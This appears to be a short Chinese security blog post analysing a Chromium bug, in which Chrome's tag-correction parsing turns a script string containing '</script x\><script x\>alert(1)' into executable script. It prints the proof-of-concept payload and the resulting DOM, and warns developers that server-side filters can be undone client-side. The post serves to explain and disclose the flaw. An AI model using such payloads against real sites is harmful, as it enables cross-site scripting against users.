之前的那篇给出了chrome标签修正特性漏洞的两个原型,是在老外发出的11的漏洞思路上的再延展。
我说这个是只属于chrome xss filter的标签修正特性有点误导,这个是全局的,来看下面老外发的这个漏洞
http://code.google.com/p/chromium/issues/detail?id=68484
测试代码是
<script><!--
var x = "pwned</script x\><script x\>alert(1);//";
//--></script>
结果被修正为
<html>
<head>
<script><!--
var x = "pwned</script>
<script x\>alert(1);//";
//--></script>
<script></script>
</head>
<body></body>
</html>
chrome动态修正了这个HTML文档的3处节点:
1. </script x\> 修正为 </script>
2. 闭合了<script x\>
3. 闭合多出的</script>
chrome的标签修正特性只是按标签配对来修正的,没有考虑HTML注释或其他复杂的情况,所以alert(1)执行了!
深入分析就会发现chrome的标签修正特性漏洞影响深远,在各种复杂的应用环境中会产生漏洞。
黑客不仅可以用于非持久型的XSS漏洞,还能用于富文本环境中,也提醒各位程序员和安全工程师,你在服务端精心布置的安全防御策略,可能会被客户端歪曲修正为安全漏洞。